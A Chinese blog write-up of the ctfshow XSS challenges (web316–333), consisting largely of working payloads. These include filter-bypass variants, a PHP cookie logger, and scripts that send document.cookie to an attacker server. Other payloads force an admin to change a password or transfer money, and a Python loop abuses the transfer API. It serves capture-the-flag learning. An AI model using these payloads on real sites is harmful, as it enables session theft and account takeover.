ctfshow-web-xss
本文最后更新于 3 天前,其中的信息可能已经有所发展或是发生改变。

web316

反射型xss

测一下xss

<script>alert(1)</script>

法1:网上找一个xss平台去生成payload去拿cookie

法2:自己搭一个xss平台,生成payload去拿cookie

法3:在vps上放一个接受cookie的php,然后起http服务,让bot去访问

<?php
        $cookie = $_GET['cookie'];
        $time = date('Y-m-d h:i:s', time());
        $log = fopen("cookie.txt", "a");
        fwrite($log,$time.':    '. $cookie . "\n");
        fclose($log);
?>

Payload:

<script>location.href="http://your-vps-ip:port/path/*.php(存放上述php代码的文件)?cookie="+document.cookie</script>

突然注意到其实也不需要在php文件里面写一个记录cookie的功能,因为document.cookie携带出来的cookie被我们用get传参直接跟上了

web317

反射型xss

发现上一题弹窗语句不能用了,测出来发现script被waf了(大小写无法绕过),换个标签头能绕过

<img src=x onerror=alert(1) >
<input onmouseover=alert(1) />

Payload:

<img src="" οnerrοr=location.href="http://your-vps-ip:port/path/*.php?cookie="+document.cookie>
#不知道为啥这个触发不了
<svg onload="location.href='http://your-vps-ip:port/path/*.php?c='+document.cookie"/>

web318

反射型xss

测试回显,以下paylod有回显

<input onmouseover=alert(1) /> #有弹窗
<svg onload="alert(1)"/> #有弹窗
<body>alert(1)</body> #也有回显

Payload:

<svg onload="location.href='http://your-vps-ip:port/*.php?c='+document.cookie"/>
<body οnlοad=location.href="http://your-vps-ip:port/*.php?cookie="+document.cookie>

web319

反射型xss

同318

web320

反射型xss

先测waf:空格scriptimg,均不可用大小写绕过

空格这里用/**/绕过

<iframe/**/onload="alert(1)"></iframe> 

Payload:

<iframe/**/onload=window.location.href='http://your-vps-ip:port/get.php?c='+document.cookie;>

补充小知识:String.fromCharCode函数的妙用

参考链接:https://blog.csdn.net/Jayjay___/article/details/133375048

这个函数可以将ascii转成字母,从而实现一些绕过

Such as:

<body/**/οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,49,50,48,46,52,54,46,52,49,46,49,55,51,47,74,97,121,49,55,47,49,50,55,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));>
解码内容:
<script>document.location.href='http://120.46.41.173/Jay17/127.php?cookie='+document.cookie</script>

web321

反射型xss

测waf:空格scriptimgiframe;xss

上题payload接着打:

<iframe/**/onload=window.location.href='http://your-vps-ip:port/x.php?c='+document.cookie;>

wen322

反射型xss

同上题

web323

反射型xss

同上题

web324

反射型xss

<body/**/onload="window.open('http:/your-vps-ip:port/x.php?cookie='+document.cookie)"></body>

上面的打不动了,换了一个(貌似后面试上面的又能通了?)

web325

反射型xss

同上

web326

反射型xss

同上

web327

存储型xss

随便写点东西交上去,会转到/mail.php,同时显示:网络拥堵,请稍后再试

抓包看到cookie有东西,提示admin,不妨换个收信人尝试

收信人换成admin,发信才会成功

信的内容带上xss语句试试带cookie

<script>location.href="http://your-vps-ip:port/x.php?cookie="+document.cookie</script>

web328

存储型xss

进去就是登录页,注册一个用户登上去看看,用户管理页有信息点需要管理员才可见

这里对admin进行弱密码爆破貌似无用,只能想办法成为管理员了,这里是xss专题,我们要是能拿到管理员cookie,不就能伪装admin看到用户管理页,需要找一个注入点打xss

注意到用户管理页显示的是用户名和密码,我们注册的用户名、密码能被管理员看到,那是否在用户名和密码处丢xss语句能被解析,从而拿到admin的cookie?

看官方视频,这里还应该去考虑闭合前面的语句,防止js写上去不被解析,但此处不需要闭合

不起http服务了,直接netcat也可,提前nc监听好:

#注册时用户名或密码填入即可
<script>window.open('http://your-vps-ip:port/'+document.cookie)</script>

拿到一个cookie:PHPSESSID=31b6bjm4bk42opn97ogc6jkk1f

cookie不像前面一样带着flag了,不过没关系,有这个我们就能登上admin了

改一下cookie,进用户管理页就能看到flag

那个空白的就是我们在用户名注入的xss语句

web329

存储型xss

怎么我直接拿上题打法就通了….

尝试一下别的师傅wp的写法:

1.用类名读取元素

可以看到前端代码中显示admin密码的类为:layui-table-cell laytable-cell-1-0-1,直接document拿

Payload:

<script>window.open('http://your-vps-ip:port/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

拿到flag

jay17师傅的解释:

window.open('http://120.46.41.173:9023/' + document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML) 这是一个调用 window.open() 函数的语句,用于打开新的浏览器窗口。

'http://120.46.41.173:9023/' 这是一个字符串,表示要打开的网页的 URL。它包括了协议(http://)、主机名(120.46.41.173)和端口号(9023),以及路径(后面的斜杠 /)。

document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML 这是一系列 DOM 操作,用于获取网页中特定元素的内容。

document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1') 是一个通过类名查找元素的方法。它查找具有类名 'layui-table-cell' 和 'laytable-cell-1-0-1' 的元素,通常这是一种针对表格单元格的选择。
[1] 表示从匹配的元素列表中选择第二个元素(JavaScript 中的数组索引从 0 开始)。
.innerHTML 用于获取选定元素的 HTML 内容,也就是在这个表格单元格中显示的文本或 HTML。

2.jQuery 选择器查找类和获取内容

https://blog.csdn.net/Jayjay___/article/details/133375048

https://www.runoob.com/jquery/jquery-ref-selectors.html

<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {window.location.href = 'http://120.46.41.173:9023/' +value.innerHTML;}});</script>

jay17师傅的解释:

$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index, value) { ... });
这是一个 jQuery 选择器,它查找具有类名 'layui-table-cell'、'laytable-cell-1-0-1' 的 <div> 元素集合,并对每个元素执行一个函数。

.each(function(index, value) { ... })
这是 jQuery 的遍历方法,它会遍历匹配的元素集合,并对每个元素执行包含在函数中的操作。在这里,函数接受两个参数,index 表示当前元素在集合中的索引,value 表示当前元素的引用。

if (value.innerHTML.indexOf('ctfshow{') > -1) { ... }
这是在遍历中的条件语句,它检查当前元素的内容是否包含字符串 'ctfshow{'。value.innerHTML 表示当前元素的 HTML 内容,.indexOf('ctfshow{') 用于查找是否包含 'ctfshow{',如果包含则返回大于 -1 的索引,否则返回 -1。

window.location.href = 'http://120.46.41.173:9023/' + value.innerHTML;
如果条件满足,即当前元素的内容包含 'ctfshow{',则执行这一行代码。它会将浏览器的当前位置重定向到一个新的 URL,这个 URL 是 'http://120.46.41.173:9023/' 加上当前元素的内容。这样就可以在浏览器中打开一个新的页面,新页面的 URL 包含了 'ctfshow{' 以及其他内容。

补充:value.innerHTML.indexOf('script') === -1这里是查找不包含script的索引

web330

存储型xss

比上题多了个修改密码的接口,修改密码接口/api/change.php?p=123,GET传参的是改的密码,这里用的是cookie来验证身份,也就是说我们拿到admin的cookie指不定就能改admin的密码。

但是发现admin的cookie是实时变化的,那不妨引导admin去访问这个接口,更改密码

Payload:

<script>window.location.href='http://127.0.0.1/api/change.php?p=123123';</script>

关于window.location.href

• 读取时(var url = window.location.href;)返回当前页面的完整 URL。 • 赋值时(window.location.href = 'https://example.com';)会让浏览器导航(重定向)到指定的 URL。

之后登录账号admin,密码123123

web331

存储型xss

这里与上题差不多,但是从GET传参变成了POST传参,改一改即可

Payload:

<script>$.ajax({url:"api/change.php",method:"POST",data:{'p':'1717'}})</script>
//还可以改写成jQuery $.post() 方法
<script>$.post("api/change.php", { p: "1717" });</script>

• $.ajax({…}) – jQuery 的通用异步请求方法,会返回一个 jqXHR(promise-like)对象。

• url: “api/change.php” – 请求的目标地址,即服务器上负责处理这次请求的脚本路径。

• method: “POST” – HTTP 请求方式为 POST,会把数据放在请求体中。

• data: { ‘p’: ‘1717’ } – 要发送给服务器的参数,这里相当于向 api/change.php 传递了一个名为 p、值为 1717 的字段。

$.post() 方法通过 HTTP POST 请求向服务器提交数据。

语法:$.post( URL [, data ] [, callback ] [, dataType ] )

web332

存储型xss

改密码依然是POST传参,但是发现上题打法不行了,于是考虑转账

转账接口在/api/amount.php,POST传参:u=1&a=1——u是转账用户,a是金额

看了别的师傅的wp,发现可以给admin转账负数,然后那个钱就会跑你自己账户里去…..

web333

存储型xss

上题负数转账不可行了,注意到用户管理接口还在,考虑后台有bot会访问,写个xss语句让admin给我转账

Payload:

<script>$.post("/api/amount.php", { u:'molu',a:'10000' });</script>
//其他师傅paylod:
<script> $.ajax({url:'http://127.0.0.1/api/amount.php',type:'post',data:{u:'1',a:'10000'}});</script>

jay17师傅:自己转自己脚本:

import requests
url = "http://c7e62c4c-a965-48a5-9c7a-390114141304.challenge.ctf.show/api/amount.php"
headers ={'Cookie':'PHPSESSID=gcvvvfpmp9c8dnfrd34b2ts93r'} #自己账号登陆后的sessionid

for i in range(0,10000):
    tmp=i*4
    data = {
        'u': 'jay',
        'a': str(tmp)
    }
    res=requests.post(url,data=data,headers=headers)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇